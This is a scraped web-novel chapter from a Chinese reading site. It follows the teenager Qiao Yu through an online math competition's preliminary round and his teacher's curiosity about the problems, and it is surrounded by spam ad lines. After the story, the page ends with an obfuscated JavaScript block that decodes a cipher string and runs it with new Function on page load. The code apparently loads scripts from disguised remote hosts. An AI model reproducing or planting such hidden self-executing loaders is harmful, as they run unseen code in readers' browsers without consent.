足迹
巅峰学霸报名多少钱
登录
关灯
护眼
字体:

第50章 预赛结束(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

乔喻并不想在预赛拿到一个很好的成绩,只要过线他就很满意了,因为根据比赛规则,预赛成绩跟决赛成绩毫不相干。

不过等到了时间,打开题库之后,乔喻笑了。

比如第一道题,就属于组合几何的范畴,一道题考了平面几何,组合数学,以及可见性图等等问题。题目中提到了视线阻挡的问题,以乔喻对数学的理解,这种问题通常都出现在计算几何之中。

但这是一道选择题。

真不是乔喻吹牛逼,他最擅长做的就是选择题。

他甚至都不用画图,仅凭点预先的排列跟可见性问题,就推理出人数不可能超过6人,淘汰了答案D。

加上E丶F两座塔不在视线内,接下来只需要根据条件在大脑里画图就行了。

最后得到答案正好就是六人。

用时十分钟,感觉非常良好,乔喻又看向第二题,两道选择题组成的问题。

巧的是这道题考察的是概率论跟期望值的问题。

恰好又是他熟悉的领域,第一小问需要用到的数学思路大概就是指数分布的无记忆性。用通俗的话说就是,未来发生事件的概率与过去无关。

总之就是学过,简单。

到了第三道题,乔喻终于感觉到开始上难度了。

不过这道题考的是代数数论跟几何数论中的内容,把特徵值跟数论结合在了一起。乔喻也终于明白考试可以开卷的意义了。讨论格点在平面中的稠密性问题,他脑子依稀有些印象,但却并不敢肯定。

于是乔喻根据题目下方的提示开始在网上搜索,很快找到了着名的闵可夫斯基定理,然后开始在视频网站找各类针对几何数论的讲解,做好标注,直接收藏。

不过乔喻暂时并没有去看那些视频,而是直接放弃了第三题,开始去研究后面的题。

预赛而已,只要进决赛就够了,按照往年的情况,考题并不需要全部做完。

就这样,整个周六乔喻除了乔曦喊他吃饭,他都一直坐在电脑前答题。

夏可可跟往常一般晚上来找过一次乔喻,不过在得知乔喻在参加线上数学竞赛之后,便没有敲门打扰他。

就这样总计七道题目,等到乔喻感觉头昏脑胀,去洗漱睡觉的时候,完整的解答了三道题。第一丶二题,跟第四题。

第四题属于线性代数跟抽象代数方面的内容,主要考的是特徵值分解和特徵空间结构的分析。这块乔喻强的可怕,之前类似的预赛题目根本难不住他,更别提这段时间他又加强学习了诸多代数与数论的内容。

另外四道题,乔喻不太有把握,或者只有大概的思路,决定等第二天看看视频,再选择性的答两道。

根据往年预赛入选决赛选手在论坛上分享的经验,基本上只要有信心答对四道题,基本就拿到决赛的入场券了。

当然为了安全起见,乔喻决定明天最少还要答三到四道题。可以不求完全正确,但大概思路传上去多少应该能拿点分。

另外今天没急着动手的原因也在于,网上任何操作都会留下痕迹。

尤其是用的是别人的后台,一天做几道题,更容易泯然众人矣。

预赛不给钱的,没必要表现出很特别的东西。毕竟他才十五岁,而阿里巴巴数学竞赛上几乎没有任何门槛。意思是只要心脏足够强大,不怕丢人的话,那些顶级大学的数学教授们,甚至菲尔兹奖获得者都能报名参加。

而他不过是一个十五岁多点的小卡拉米。

万一因为表现太好,被注意到了,说不定就会被人拿到聚光灯下观察。

乔喻倒是不太介意出不出名,但按照今年的赛制安排,六月底就会公布成绩,让选手稍作准备之后,七月初就要开始决赛。这段时间被人盯着议论,又没钱可拿,纯粹是给自己找事。

说白了,重点还是决赛。

第二天早上六点乔喻便从床上爬了起来。开始看昨天在网上收藏标注好的视频,学习用了一个早上。吃饭都是乔曦给他送到房间来。

一直到下午两点乔喻才重新开始答题,晚上十一点,距离比赛结束还有九个小时的时候,所有题目全部搞定。

本来可以更早些的,但小里巴巴这套在线答题系统并不是那麽好用,

克服了这个小困难,乔喻对于能进决赛还是很有信心的。

……

周一是端午节,放假一天,不过兰杰还是一大早就爬了起来,八点准时打开电脑开始关注小里巴巴世界数学竞赛的题库。

按照往年的惯例,不管是预赛还是决赛,小里巴巴都会在比赛结束之后,同步将题目跟答案公布在官网的历史题库里。

虽然奥赛老师不需要研究这类竞赛题目,他也没报名参加竞赛,但因为小里巴巴数学竞赛的题目设计的很有意思,所以兰杰每年都会关注。

对于数学完全没有兴趣的人,大概很难理解解开一道难题之后,那种舒爽感。更别提乔喻很可能也报名参加了今年这场赛事。兰杰一直很好奇乔喻的数学水平。

结合题目难度,跟最后乔喻的分数,大概就能心里有数了。

今年预赛安排得好,考试完毕后正好是端午休息时间,他一个大龄单身男青年正好也没什麽其他爱好,正好可以用来研究下这次考题。

大概看过一遍之后,兰杰心里便有了大概的判断,跟往年的难度基本持平,在数学界大概属于中高水平。涵盖的范围也很广,涉及到代数丶几何丶数论丶组合数学丶概率多个领域。

这种出题模式对于数学科班出身的参赛者更为友好,毕竟这部分参赛者都有着较为系统的学习经历。对于非专业选手而言的确是比较困难。

尤其是最后一道题,不但涉及到了微分方程的建模跟求解,还包含了动力系统分析以及对周期性运动的理解跟推理。换了他来做这道题可能都要耗费一整天,还不一定能做对。

至于乔喻的话……

当脑海中出现这个孩子的身影,想到他询问奖金是否需要扣税时的虔诚态度,兰杰还真不太确定这小子能不能通过预赛。

可惜了,今天休息,下午的奥赛课自然也被取消了。

不过按捺不住的好奇心还是让兰杰拿起了手机,点开了微信。

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="b6hhl9i8jo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n/h^/@Q}jR8)KhhqQ6{CO"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8")KhhqQ6{CO"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmsYDnn{:mRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmsYDnn{:mRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8)KhhqQ6{CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();